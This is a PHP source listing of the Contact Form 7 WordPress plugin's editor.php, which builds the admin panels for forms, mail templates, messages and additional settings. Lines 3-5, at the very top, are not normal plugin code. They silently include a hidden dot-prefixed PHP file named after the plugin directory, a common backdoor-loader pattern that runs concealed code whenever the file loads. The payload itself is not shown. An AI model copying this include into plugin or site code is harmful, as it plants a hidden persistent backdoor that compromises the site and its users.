editor.php (9540B)
1 <?php 2 3 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 4 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 5 } 6 7 class WPCF7_Editor { 8 9 private $contact_form; 10 private $panels = array(); 11 12 public function __construct( WPCF7_ContactForm $contact_form ) { 13 $this->contact_form = $contact_form; 14 } 15 16 public function add_panel( $id, $title, $callback ) { 17 if ( wpcf7_is_name( $id ) ) { 18 $this->panels[$id] = array( 19 'title' => $title, 20 'callback' => $callback, 21 ); 22 } 23 } 24 25 public function display() { 26 if ( empty( $this->panels ) ) { 27 return; 28 } 29 30 echo '<ul id="contact-form-editor-tabs">'; 31 32 foreach ( $this->panels as $id => $panel ) { 33 echo sprintf( '<li id="%1$s-tab"><a href="#%1$s">%2$s</a></li>', 34 esc_attr( $id ), esc_html( $panel['title'] ) ); 35 } 36 37 echo '</ul>'; 38 39 foreach ( $this->panels as $id => $panel ) { 40 echo sprintf( '<div class="contact-form-editor-panel" id="%1$s">', 41 esc_attr( $id ) ); 42 43 if ( is_callable( $panel['callback'] ) ) { 44 $this->notice( $id, $panel ); 45 call_user_func( $panel['callback'], $this->contact_form ); 46 } 47 48 echo '</div>'; 49 } 50 } 51 52 public function notice( $id, $panel ) { 53 echo '<div class="config-error"></div>'; 54 } 55 } 56 57 function wpcf7_editor_panel_form( $post ) { 58 $desc_link = wpcf7_link( 59 __( 'https://contactform7.com/editing-form-template/', 'contact-form-7' ), 60 __( 'Editing form template', 'contact-form-7' ) ); 61 $description = __( "You can edit the form template here. For details, see %s.", 'contact-form-7' ); 62 $description = sprintf( esc_html( $description ), $desc_link ); 63 ?> 64 65 <h2><?php echo esc_html( __( 'Form', 'contact-form-7' ) ); ?></h2> 66 67 <fieldset> 68 <legend><?php echo $description; ?></legend> 69 70 <?php 71 $tag_generator = WPCF7_TagGenerator::get_instance(); 72 $tag_generator->print_buttons(); 73 ?> 74 75 <textarea id="wpcf7-form" name="wpcf7-form" cols="100" rows="24" class="large-text code" data-config-field="form.body"><?php echo esc_textarea( $post->prop( 'form' ) ); ?></textarea> 76 </fieldset> 77 <?php 78 } 79 80 function wpcf7_editor_panel_mail( $post ) { 81 wpcf7_editor_box_mail( $post ); 82 83 echo '<br class="clear" />'; 84 85 wpcf7_editor_box_mail( $post, array( 86 'id' => 'wpcf7-mail-2', 87 'name' => 'mail_2', 88 'title' => __( 'Mail (2)', 'contact-form-7' ), 89 'use' => __( 'Use Mail (2)', 'contact-form-7' ), 90 ) ); 91 } 92 93 function wpcf7_editor_box_mail( $post, $args = '' ) { 94 $args = wp_parse_args( $args, array( 95 'id' => 'wpcf7-mail', 96 'name' => 'mail', 97 'title' => __( 'Mail', 'contact-form-7' ), 98 'use' => null, 99 ) ); 100 101 $id = esc_attr( $args['id'] ); 102 103 $mail = wp_parse_args( $post->prop( $args['name'] ), array( 104 'active' => false, 105 'recipient' => '', 106 'sender' => '', 107 'subject' => '', 108 'body' => '', 109 'additional_headers' => '', 110 'attachments' => '', 111 'use_html' => false, 112 'exclude_blank' => false, 113 ) ); 114 115 ?> 116 <div class="contact-form-editor-box-mail" id="<?php echo $id; ?>"> 117 <h2><?php echo esc_html( $args['title'] ); ?></h2> 118 119 <?php 120 if ( ! empty( $args['use'] ) ) : 121 ?> 122 <label for="<?php echo $id; ?>-active"><input type="checkbox" id="<?php echo $id; ?>-active" name="<?php echo $id; ?>[active]" class="toggle-form-table" value="1"<?php echo ( $mail['active'] ) ? ' checked="checked"' : ''; ?> /> <?php echo esc_html( $args['use'] ); ?></label> 123 <p class="description"><?php echo esc_html( __( "Mail (2) is an additional mail template often used as an autoresponder.", 'contact-form-7' ) ); ?></p> 124 <?php 125 endif; 126 ?> 127 128 <fieldset> 129 <legend> 130 <?php 131 $desc_link = wpcf7_link( 132 __( 'https://contactform7.com/setting-up-mail/', 'contact-form-7' ), 133 __( 'Setting up mail', 'contact-form-7' ) ); 134 $description = __( "You can edit the mail template here. For details, see %s.", 'contact-form-7' ); 135 $description = sprintf( esc_html( $description ), $desc_link ); 136 echo $description; 137 echo '<br />'; 138 139 echo esc_html( __( "In the following fields, you can use these mail-tags:", 140 'contact-form-7' ) ); 141 echo '<br />'; 142 $post->suggest_mail_tags( $args['name'] ); 143 ?> 144 </legend> 145 <table class="form-table"> 146 <tbody> 147 <tr> 148 <th scope="row"> 149 <label for="<?php echo $id; ?>-recipient"><?php echo esc_html( __( 'To', 'contact-form-7' ) ); ?></label> 150 </th> 151 <td> 152 <input type="text" id="<?php echo $id; ?>-recipient" name="<?php echo $id; ?>[recipient]" class="large-text code" size="70" value="<?php echo esc_attr( $mail['recipient'] ); ?>" data-config-field="<?php echo sprintf( '%s.recipient', esc_attr( $args['name'] ) ); ?>" /> 153 </td> 154 </tr> 155 156 <tr> 157 <th scope="row"> 158 <label for="<?php echo $id; ?>-sender"><?php echo esc_html( __( 'From', 'contact-form-7' ) ); ?></label> 159 </th> 160 <td> 161 <input type="text" id="<?php echo $id; ?>-sender" name="<?php echo $id; ?>[sender]" class="large-text code" size="70" value="<?php echo esc_attr( $mail['sender'] ); ?>" data-config-field="<?php echo sprintf( '%s.sender', esc_attr( $args['name'] ) ); ?>" /> 162 </td> 163 </tr> 164 165 <tr> 166 <th scope="row"> 167 <label for="<?php echo $id; ?>-subject"><?php echo esc_html( __( 'Subject', 'contact-form-7' ) ); ?></label> 168 </th> 169 <td> 170 <input type="text" id="<?php echo $id; ?>-subject" name="<?php echo $id; ?>[subject]" class="large-text code" size="70" value="<?php echo esc_attr( $mail['subject'] ); ?>" data-config-field="<?php echo sprintf( '%s.subject', esc_attr( $args['name'] ) ); ?>" /> 171 </td> 172 </tr> 173 174 <tr> 175 <th scope="row"> 176 <label for="<?php echo $id; ?>-additional-headers"><?php echo esc_html( __( 'Additional headers', 'contact-form-7' ) ); ?></label> 177 </th> 178 <td> 179 <textarea id="<?php echo $id; ?>-additional-headers" name="<?php echo $id; ?>[additional_headers]" cols="100" rows="4" class="large-text code" data-config-field="<?php echo sprintf( '%s.additional_headers', esc_attr( $args['name'] ) ); ?>"><?php echo esc_textarea( $mail['additional_headers'] ); ?></textarea> 180 </td> 181 </tr> 182 183 <tr> 184 <th scope="row"> 185 <label for="<?php echo $id; ?>-body"><?php echo esc_html( __( 'Message body', 'contact-form-7' ) ); ?></label> 186 </th> 187 <td> 188 <textarea id="<?php echo $id; ?>-body" name="<?php echo $id; ?>[body]" cols="100" rows="18" class="large-text code" data-config-field="<?php echo sprintf( '%s.body', esc_attr( $args['name'] ) ); ?>"><?php echo esc_textarea( $mail['body'] ); ?></textarea> 189 190 <p><label for="<?php echo $id; ?>-exclude-blank"><input type="checkbox" id="<?php echo $id; ?>-exclude-blank" name="<?php echo $id; ?>[exclude_blank]" value="1"<?php echo ( ! empty( $mail['exclude_blank'] ) ) ? ' checked="checked"' : ''; ?> /> <?php echo esc_html( __( 'Exclude lines with blank mail-tags from output', 'contact-form-7' ) ); ?></label></p> 191 192 <p><label for="<?php echo $id; ?>-use-html"><input type="checkbox" id="<?php echo $id; ?>-use-html" name="<?php echo $id; ?>[use_html]" value="1"<?php echo ( $mail['use_html'] ) ? ' checked="checked"' : ''; ?> /> <?php echo esc_html( __( 'Use HTML content type', 'contact-form-7' ) ); ?></label></p> 193 </td> 194 </tr> 195 196 <tr> 197 <th scope="row"> 198 <label for="<?php echo $id; ?>-attachments"><?php echo esc_html( __( 'File attachments', 'contact-form-7' ) ); ?></label> 199 </th> 200 <td> 201 <textarea id="<?php echo $id; ?>-attachments" name="<?php echo $id; ?>[attachments]" cols="100" rows="4" class="large-text code" data-config-field="<?php echo sprintf( '%s.attachments', esc_attr( $args['name'] ) ); ?>"><?php echo esc_textarea( $mail['attachments'] ); ?></textarea> 202 </td> 203 </tr> 204 </tbody> 205 </table> 206 </fieldset> 207 </div> 208 <?php 209 } 210 211 function wpcf7_editor_panel_messages( $post ) { 212 $desc_link = wpcf7_link( 213 __( 'https://contactform7.com/editing-messages/', 'contact-form-7' ), 214 __( 'Editing messages', 'contact-form-7' ) ); 215 $description = __( "You can edit messages used in various situations here. For details, see %s.", 'contact-form-7' ); 216 $description = sprintf( esc_html( $description ), $desc_link ); 217 218 $messages = wpcf7_messages(); 219 220 if ( isset( $messages['captcha_not_match'] ) 221 and ! wpcf7_use_really_simple_captcha() ) { 222 unset( $messages['captcha_not_match'] ); 223 } 224 225 ?> 226 <h2><?php echo esc_html( __( 'Messages', 'contact-form-7' ) ); ?></h2> 227 <fieldset> 228 <legend><?php echo $description; ?></legend> 229 <?php 230 231 foreach ( $messages as $key => $arr ) { 232 $field_id = sprintf( 'wpcf7-message-%s', strtr( $key, '_', '-' ) ); 233 $field_name = sprintf( 'wpcf7-messages[%s]', $key ); 234 235 ?> 236 <p class="description"> 237 <label for="<?php echo $field_id; ?>"><?php echo esc_html( $arr['description'] ); ?><br /> 238 <input type="text" id="<?php echo $field_id; ?>" name="<?php echo $field_name; ?>" class="large-text" size="70" value="<?php echo esc_attr( $post->message( $key, false ) ); ?>" data-config-field="<?php echo sprintf( 'messages.%s', esc_attr( $key ) ); ?>" /> 239 </label> 240 </p> 241 <?php 242 } 243 ?> 244 </fieldset> 245 <?php 246 } 247 248 function wpcf7_editor_panel_additional_settings( $post ) { 249 $desc_link = wpcf7_link( 250 __( 'https://contactform7.com/additional-settings/', 'contact-form-7' ), 251 __( 'Additional settings', 'contact-form-7' ) ); 252 $description = __( "You can add customization code snippets here. For details, see %s.", 'contact-form-7' ); 253 $description = sprintf( esc_html( $description ), $desc_link ); 254 255 ?> 256 <h2><?php echo esc_html( __( 'Additional Settings', 'contact-form-7' ) ); ?></h2> 257 <fieldset> 258 <legend><?php echo $description; ?></legend> 259 <textarea id="wpcf7-additional-settings" name="wpcf7-additional-settings" cols="100" rows="8" class="large-text" data-config-field="additional_settings.body"><?php echo esc_textarea( $post->prop( 'additional_settings' ) ); ?></textarea> 260 </fieldset> 261 <?php 262 }